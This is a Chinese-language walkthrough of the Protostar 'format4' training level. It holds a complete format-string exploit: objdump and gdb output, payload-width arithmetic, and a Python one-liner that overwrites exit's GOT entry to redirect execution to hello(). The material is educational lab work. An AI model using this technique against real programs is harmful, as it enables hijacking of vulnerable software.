About
format4 looks at one method of redirecting execution in a process.
Hints: objdump -TR is your friend
This level is at /opt/protostar/bin/format4
Source code
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int target; void hello() { printf("code execution redirected! you win\n"); _exit(1); } void vuln() { char buffer[512]; fgets(buffer, sizeof(buffer), stdin); printf(buffer); exit(1); } int main(int argc, char **argv) { vuln(); }
回忆上一题,我们能做到的事情是能通过printf(string)在任意地址写进任意的值。而本题就是将这个应用实例化了。我们可以看到有printf(buffer)和exit(1),不难想到通过把exit(1)的地址改成hello()的地址即可。因此首先要先获得exit(1)和hello()的地址:
user@protostar:/opt/protostar/bin$ objdump -R ./format4 ./format4: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 080496fc R_386_GLOB_DAT __gmon_start__ 08049730 R_386_COPY stdin 0804970c R_386_JUMP_SLOT __gmon_start__ 08049710 R_386_JUMP_SLOT fgets 08049714 R_386_JUMP_SLOT __libc_start_main 08049718 R_386_JUMP_SLOT _exit 0804971c R_386_JUMP_SLOT printf 08049720 R_386_JUMP_SLOT puts 08049724 R_386_JUMP_SLOT exit user@protostar:/opt/protostar/bin$ gdb -q ./format4 Reading symbols from /opt/protostar/bin/format4...done. (gdb) b main Breakpoint 1 at 0x804851a: file format4/format4.c, line 27. (gdb) r Starting program: /opt/protostar/bin/format4 Breakpoint 1, main (argc=1, argv=0xbffff864) at format4/format4.c:27 27 format4/format4.c: No such file or directory. in format4/format4.c (gdb) p hello $1 = {void (void)} 0x80484b4 <hello> (gdb)
得到:
hello() 0x080484b4
exit() 0x 08049724
因此我们需要在 0x 08049724写进 0x080484b4,先计算第一个%n时已经输入字符的长度:
user@protostar:/opt/protostar/bin$ python -c 'print "\x24\x97\x04\x08\x25\x97\x04\x08\x26\x97\x04\x08\x27\x97\x04\x08"+"%3$x%4$n"' > /tmp/format4 user@protostar:/opt/protostar/bin$ gdb -q ./format4 Reading symbols from /opt/protostar/bin/format4...done. (gdb) i b No breakpoints or watchpoints. (gdb) disassemble vuln Dump of assembler code for function vuln: 0x080484d2 <vuln+0>: push %ebp 0x080484d3 <vuln+1>: mov %esp,%ebp 0x080484d5 <vuln+3>: sub $0x218,%esp 0x080484db <vuln+9>: mov 0x8049730,%eax 0x080484e0 <vuln+14>: mov %eax,0x8(%esp) 0x080484e4 <vuln+18>: movl $0x200,0x4(%esp) 0x080484ec <vuln+26>: lea -0x208(%ebp),%eax 0x080484f2 <vuln+32>: mov %eax,(%esp) 0x080484f5 <vuln+35>: call 0x804839c <fgets@plt> 0x080484fa <vuln+40>: lea -0x208(%ebp),%eax 0x08048500 <vuln+46>: mov %eax,(%esp) 0x08048503 <vuln+49>: call 0x80483cc <printf@plt> 0x08048508 <vuln+54>: movl $0x1,(%esp) 0x0804850f <vuln+61>: call 0x80483ec <exit@plt> End of assembler dump. (gdb) b *vuln+61 Breakpoint 1 at 0x804850f: file format4/format4.c, line 22. (gdb) r < /tmp/format4 Starting program: /opt/protostar/bin/format4 < /tmp/format4 $%&'bffff5e4 Breakpoint 1, 0x0804850f in vuln () at format4/format4.c:22 22 format4/format4.c: No such file or directory. in format4/format4.c (gdb) x/1x 0x08049724 0x8049724 <_GLOBAL_OFFSET_TABLE_+36>: 0x00000018 (gdb)
然后计算一下高字节需要多少长度才能达到hello的地址 0x080484b4
user@protostar:/opt/protostar/bin$ python -c 'print 0xb4-(0x18-0x8)' 164 user@protostar:/opt/protostar/bin$ python -c 'print 0x184-0xb4' 208 user@protostar:/opt/protostar/bin$ python -c 'print 0x104-0x84' 128 user@protostar:/opt/protostar/bin$ python -c 'print 0x108-0x04' 260
长度分别是164、208、128、260,因此构造语句如下:
user@protostar:/opt/protostar/bin$ python -c 'print "\x24\x97\x04\x08\x25\x97\x04\x08\x26\x97\x04\x08\x27\x97\x04\x08"+"%3$164x%4$n"+"%4$208x%5$n"+"%5$128x%6$n"+"%6$260x%7$n"' | ./format4 $%&' bffff624 8049724 8049725 8049726 code execution redirected! you win